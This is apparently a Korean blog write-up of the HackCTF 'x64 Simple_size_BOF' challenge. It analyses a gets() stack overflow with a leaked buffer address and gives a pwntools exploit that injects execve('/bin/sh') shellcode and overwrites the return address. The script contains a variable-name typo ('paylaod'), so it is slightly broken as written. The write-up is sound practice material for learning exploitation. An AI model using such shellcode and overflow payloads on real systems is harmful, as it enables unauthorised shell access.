tmxklab

[HackCTF/Pwnable] x64 Simple_size_BOF 본문

War Game/HackCTF

[HackCTF/Pwnable] x64 Simple_size_BOF

tmxk4221 2020. 1. 27. 21:37

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3005

 

1) 접속

  • 이상한(?) 문자열과 buf의 주소 값으로 보이는 문자열이 출력되면서 종료

 

2) IDA(Pseudocode)확인 - main()

  • puts()를 통해 s변수에 저장된 문자열을 표준 출력으로 보냄
  • printf()를 통해 main()에서 초기화되지 않고 선언된 v4변수의 주소 값을 출력
  • gets()를 통해 표준 입력으로 들어온 문자열을 v4에 저장 -> bof 취약점 존재

2. 접근방법

1) 스택구조(main)

  • gets()를 사용하여 bof공격을 통해 ret의 주소 변조가능
  • v4의 변수에 쉘 코드를 삽입하여 ret의 주소를 v4의 시작 주소로 변경해야함

 

2) v4의 시작주소

  • v4의 시작주소를 넣어 보려하지만 실행할 때마다 v4의 주소가 변경됨
  • 하지만, 위에 main()의 코드를 보면 실행시 v4의 주소를 먼저 출력하고 gets()를 실행
  • 따라서, 실행 시 출력되는 v4의 주소를 사용하면 됨

 

3) 결론

  • gets()를 사용하여 bof공격을 통해 v4의 변수에 쉘 코드를 삽입 후 ret의 주소를 v4의 시작주소로 변경
  • 이때, 프로그램을 실행할 떄마다 v4의 주소가 변경되므로 화면에 출력되는 v4의 주소를 이용하여 공격

3. 풀이

1) 공격 코드 작성

from pwn import *   # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3005)
# "buf: "까지 데이터를 받아옴
p.recvuntil("buf: ")

# "buf: "다음에 출력된 v4의 주소는 총 14bytes이므로 
# 16진수로 표현된 14bytes만큼 받아서 십진수로 변환
v4_addr = int(p.recv(14), 16)
# 64bit용 쉘 코드
payload = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# v4[ebp-27,952]에서 ret까지 총 27,960bytes
# 27,960bytes에 위에 쉘 코드 주소의 길이(23bytes)를 뺀 만큼 더미 값을 채워줌
payload += "A" * 27937
# 마지막으로 ret의 주소에 v4의 주소를 덮음
payload += p64(v4_addr)

p.sendline(paylaod)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()

 

 

2) 공격실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Offset  (0) 2020.01.27
[HackCTF/Pwnable] Simple_Overflow_ver_2  (0) 2020.01.27
[HackCTF/Pwnable] x64 Buffer Overflow  (0) 2020.01.27
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!!  (0) 2020.01.27
[HackCTF/Pwnable] Basic_FSB  (0) 2020.01.27
Comments